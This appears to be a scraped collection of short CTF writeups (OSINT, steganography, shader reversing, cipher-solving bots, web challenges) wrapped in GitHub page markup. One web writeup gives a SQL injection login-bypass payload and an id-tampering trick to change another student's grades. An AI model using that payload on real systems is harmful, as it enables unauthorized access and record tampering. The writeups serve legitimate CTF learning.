<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/notAHacker007/CTFwriteups/refs" cache-key="v0:1598826698.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm90QUhhY2tlcjAwNy9DVEZ3cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFwriteups</span></span></span><span>/</span><span><span>b01lerBootcampCTF</span></span><span>/</span>ClearTheMind<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFwriteups</span></span></span><span>/</span><span><span>b01lerBootcampCTF</span></span><span>/</span>ClearTheMind<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/notAHacker007/CTFwriteups/tree-commit/4ae139296a3fb5c7823c6aa4b76c9e721f06306a/b01lerBootcampCTF/ClearTheMind" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/notAHacker007/CTFwriteups/file-list/master/b01lerBootcampCTF/ClearTheMind"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Writeup.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>clearthemind.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
[Link to the writeup](https://www.w0nderland.fr/seccon-2020-koharu-en.html)
TLDR: One can retrieve the bits of the flag using legendre's symbol on the given polynomials |
# OSINT - The Bait
## Challenge description:
## Solution:
**I searched for ("NeeP" firm recruiting scam)**

**I found this article:** (https://www.scammer.info/d/17368-paypal-scam-callcenter-hiring-agents)

**From that article, I got everything I need (the coordinator's phone number, the scam company name and the website of the lumber store.)**
- The coordinator's phone number: **9911834488**- The scam company name: **Navkar Infotech**- The website of the Lumber store: **mayurply.com**
**darkCTF{9911834488_Navkar_Infotech_mayurply.com}** |
# Echoes of Reality
Misc
## Challenge
## Solutionchallenge was quite easy and direct opening the file in sonic visualizer gives us the flag hidden in the spectogram
## flag: flag{b3h1Nd_tH3_l0ok1nG_gl4s5} |
The binary was a very simple OpenGL application. It uses a vertex and a fragment shader and passes to the vertex shader a huge VertexArray of 4d points. The shaders were in the SPIR-V format, so i dumped them to a binary file and the used spirv-cross to "decompile" them to glsl: - Vertex shader:```#version 460
const float _17[5] = float[](0.09700000286102294921875, 0.865999996662139892578125, 0.99199998378753662109375, 0.522000014781951904296875, 0.3670000135898590087890625);
layout(location = 0) in vec4 position;layout(location = 1) out float zuppa;
void main(){ float k = 0.0; int p = int(floor(position.w)); switch (p) { case 0: { k = _17[0]; break; } case 1: { k = _17[1]; break; } case 2: { k = _17[2]; break; } case 3: { k = _17[3]; break; } case 4: { k = _17[4]; break; } } vec4 pos = vec4((position.x * position.z) * k, (position.y * position.z) * k, 0.0, 1.0); zuppa = position.w - float(p); float w = 1.0; if (float(p) != position.w) { w = 10.0; pos *= mat4(vec4(6.1232342629258392722318982137608e-17, 0.0, 1.0, 0.0), vec4(0.0, 1.0, 0.0, 0.0), vec4(-1.0, 0.0, 6.1232342629258392722318982137608e-17, 0.0), vec4(0.0, 0.0, 0.0, 1.0)); } gl_Position = vec4(pos.x, pos.y, 0.0, w);}```- Fragment shader:```#version 460
layout(location = 1) in float zuppa;layout(location = 0) out vec4 outColor;
void main(){ float r = 0.0; if (zuppa != 0.0) { r = 1.0; } outColor = vec4(r, 1.0, r, 1.0);}```I noticed that it was doing different stuff whether `position.w` was a round number or not, so I tried to do random stuff, plotting only the points with a non round `w`, and it worked:```from PIL import Image, ImageDrawimport numpy as np# this contais the VertexArray dumped from the binary as an array of floatsfrom arr import arrayy
arrayy = np.array(arrayy, dtype=np.float32).reshape((len(arrayy)/4, 4))
im = Image.new('RGB', (600, 400), (255,)*3)d = ImageDraw.Draw(im)
zz = [0.09700000286102294921875, 0.865999996662139892578125, 0.99199998378753662109375, 0.522000014781951904296875, 0.3670000135898590087890625]
aa = []for x, y, z, w in arrayy: if float(int(w)) != w: k = zz[int(w)] * 600 x, y = (x * z) * k + 300, (y * z) * k + 300 x, y = x, 600-y aa.append((x, y))
d.line(aa, fill=(0, 0, 0), width=2)im.save("draw.png")```Running this script generated an image with the flag: `{FLG:ToRenderOrNotToRender?}`. |
# Ghostbusters
Cool challenge that involved influencing the userspace stack by calling `vsyscall` syscalls (which reside at static addresses in every process).
Helpful resources:
* [Writeup from GoogleCTF](http://gmiru.com/writeups/gctf-wiki/) that uses `vsyscall` addresses as a sled into more useful functions* [LWN article on the security implications of `vsyscall`/vDSO](https://lwn.net/Articles/446528/) |
There is a website with a single link, which leads to another, which leads to another. On the assumption that this will eventually lead to the flag, a simple solution is simply to use wget.
```wget -r -l 10000 finger-warmup.chals.damctf.xyz```
And then grep the directory for the pattern `dam{` |
# Find cell > Points: 390
# Description> I lost my phone while I was travelling back to home, I was able to get back my eNB ID, MCC and MNC could you help me catch the tower it was last found.>> note: decimal value upto 1 digit>> Flag Format : darkCTF{latitude,longitude}>> Downloads>> [challenge.txt](challenge.txt)
# Solution* A quick Google search about `find cell tower with eNB ID, MCC and MNC` led us to this site - [cellmapper](https://www.cellmapper.net). * We can go to the Map Tab and enter the `eNB ID, MCC and MNC` to locate the tower.

## Flag> darkCTF{32.8,-24.5} |
Organisers ask us to NetCat chal.ctf.b01lers.com on Port 2008.
After connecting on the server we got some interfface like this one:

-----
There is 3 option called:Method (which declare the method of encryption),Ciphertext (which declare the encrypted text) Input (this is a input field to submit decrypted text)
Organisers also provided a python script template which is:```# You can install these packages to help w/ solving unless you have others in mind# i.e. python3 -m pip install {name of package}from pwn import *import codecsfrom base64 import b64decodefrom string import ascii_lowercase
HOST = ''PORT = 0
r = remote(HOST,PORT)
def bacon(s): # Do this
def rot13(s): # And this
def atbash(s): # And this one
def Base64(s): # Lastly this one
if __name__ == '__main__': count = 0 while True: r.recvuntil('Method: ') method = r.recvuntil('\n').strip() r.recvuntil('Ciphertext: ') argument = r.recvuntil('\n').strip()
result = globals()[method.decode()](argument.decode()) # :)
r.recv() r.sendline(result.encode()) count += 1 if count == 1000: print(r.recv()) exit(0)
```
If we read the code then we can understand that we need to decrypt 4 types of encryption which are:1. [Bacon](https://en.wikipedia.org/wiki/Bacon%27s_cipher)2. [ROT13](https://en.wikipedia.org/wiki/ROT13)3. [Atbash](https://en.wikipedia.org/wiki/Atbash)4. [Base64](https://en.wikipedia.org/wiki/Base64)
And we will get the flag ater 1000 times correct decryption.
so we just need to implement python decryption codes to the template.
After getting ready the python program, codes looks like this:```# You can install these packages to help w/ solving unless you have others in mind# i.e. python3 -m pip install {name of package}from pwn import *import codecsfrom base64 import b64decodefrom string import ascii_lowercase
HOST = '104.197.187.199'PORT = 2008
r = remote(HOST,PORT)
lookup = {'a':'AAAAA', 'b':'AAAAB', 'c':'AAABA', 'd':'AAABB', 'e':'AABAA', 'f':'AABAB', 'g':'AABBA', 'h':'AABBB', 'i':'ABAAA', 'j':'ABAAB', 'k':'ABABA', 'l':'ABABB', 'm':'ABBAA', 'n':'ABBAB', 'o':'ABBBA', 'p':'ABBBB', 'q':'BAAAA', 'r':'BAAAB', 's':'BAABA', 't':'BAABB', 'u':'BABAA', 'v':'BABAB', 'w':'BABBA', 'x':'BABBB', 'y':'BBAAA', 'z':'BBAAB'}
# Function to encrypt the string according to the cipher provided def bacon(s): decipher = '' i = 0
# emulating a do-while loop while True : # condition to run decryption till # the last set of ciphertext if(i < len(s)-4): # extracting a set of ciphertext # from the message substr = s[i:i + 5] # checking for space as the first # character of the substring if(substr[0] != ' '): ''' This statement gets us the key(plaintext) using the values(ciphertext) Just the reverse of what we were doing in encrypt function ''' decipher += list(lookup.keys())[list(lookup.values()).index(substr)] i += 5 # to get the next set of ciphertext
else: # adds space decipher += ' ' i += 1 # index next to the space else: break # emulating a do-while loop
return decipher
def rot13(s): chars = "abcdefghijklmnopqrstuvwxyz" trans = chars[13:]+chars[:13] rot_char = lambda c: trans[chars.find(c)] if chars.find(c)>-1 else c return ''.join( rot_char(c) for c in s )
lookup_table = {'a' : 'z', 'b' : 'y', 'c' : 'x', 'd' : 'w', 'e' : 'v', 'f' : 'u', 'g' : 't', 'h' : 's', 'i' : 'r', 'j' : 'q', 'k' : 'p', 'l' : 'o', 'm' : 'n', 'n' : 'm', 'o' : 'l', 'p' : 'k', 'q' : 'j', 'r' : 'i', 's' : 'h', 't' : 'g', 'u' : 'f', 'v' : 'e', 'w' : 'd', 'x' : 'c', 'y' : 'b', 'z' : 'a'}
def atbash(s): cipher = '' for letter in s: # checks for space if(letter != ' '): #adds the corresponding letter from the lookup_table cipher += lookup_table[letter] else: # adds space cipher += ' '
return cipher
def Base64(s): decodedBytes = base64.b64decode(s) decodedStr = str(decodedBytes) return (decodedStr)
if __name__ == '__main__': count = 0 while True: r.recvuntil('Method: ') method = r.recvuntil('\n').strip() r.recvuntil('Ciphertext: ') argument = r.recvuntil('\n').strip()
result = globals()[method.decode()](argument.decode()) # :)
r.recv() r.sendline(result.encode()) count += 1 if count == 1000: print(r.recv()) exit(0)
```
After run this program we got the Flag:> We must be dreaming, here's your flag: ctf{4n_313g4nt_s01ut10n_f0r_tr4cking_r341ity} |
No brute force.Seeing the login page you expect brute force...Lets try admin / admin - nope.Hmmmm....So lets try sql injection - what database - lets think something realy basic and general if query has username = '$POST['username']' thingy - You know what I mean...so lets try ' or id = '1 as username and password to get 2 fields at onceAnd we are in... But, but there are no niks to edit the students...So lets search for the user that has admin priveleges...But how do I fing out if the user is admin...[dasboard code](https://github.com/slyher/CTF/blob/main/damctf/page_sourcefiles/OSUSEC%20-%20Dashboard.html)Lets take a look at the source code - we get some interesting javascript at the bottom:```<script> var staff = { admin : false, name : 'rhonda.daniels' }</script><script src="js/app.min.js"></script>```
After 4 tries there are no more users in the database to log in :(On the discord chanel there is an information that ordinary access is enough to get the flag.So let's think this through...After trying to change the staf.admin = true in the "chrome dev tools" I checked what there was in the javascript app.min.js[javascript](https://raw.githubusercontent.com/slyher/CTF/main/damctf/page_sourcefiles/OSUSEC%20-%20Dashboard_files/app.min.js)
There is somting creating the links to edit. Without thinking much lets paste it to the console and execute it.Thing worth mentioning is that the html that element with class student-link looks like this: `<td data-id="TXlyb25fV2lsa2lucw==" class="student-link">Wilkins, Myron</td>`Lest click the first link that was generated by the javascript we get an edit form, but wait we need to edit it for Natasha Drew - time to take a look at the data-id value- it seems to be bese64encoded string (the two equal signs are a tell)After decoding it online we get Myron_Wilkins- lets try to encode Drew_Natasha and get edit form for her.After setting Natasha'a grages to A's and submitting the form we get the flag |
# web/finger-warmup @ DamCTF Oct. 2020
* challenge author: **babayet2*** solves: **405*** points: **160**
## Description
>A finger warmup to prepare for the rest of the CTF, good luck!>>You may find [this](https://realpython.com/python-requests/) or [this](https://programminghistorian.org/en/lessons/intro-to-beautiful-soup) to be helpful.
## Analysis
We are presented with a website whose sole content is a link.Clicking on that link brings redirects us to the same site, withanother link. From the description and the title, the intent isclear. We are going to have to automate the process of following thelinks until we get the flag.
### Solving
Since we were told to use requests/beautifulsoup, I chose to look into thoseand implement a solution with them.
My solution looks like this:
```python#!/usr/bin/env python3
import requestsfrom bs4 import BeautifulSoupfrom pwn import log
BASE_URL = "https://finger-warmup.chals.damctf.xyz/"
redirect = ""while True: log.info(f"Sending request to.. {BASE_URL}{redirect}") response = requests.get(f"{BASE_URL}{redirect}") log.info(f"Received data: {response.text}") soup = BeautifulSoup(response.text, "html.parser")
try: # find the next link redirect = soup.find_all("a")[0].get("href") except Exception: # if we can't find a link, the flag has probably been found log.info("Done!") exit(0)
```
Once the script is done, we see the following:
 |
This was a keygen type challenge with 98 functions in it.
Solved it using scripting.
You can access the writeup [here](https://medium.com/@d4rkvaibhav/evlzctf-2020-6ffd672acd3?sk=578701dcf36440e40e44d864edad2144)
https://medium.com/@d4rkvaibhav/evlzctf-2020-6ffd672acd3?sk=578701dcf36440e40e44d864edad2144 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.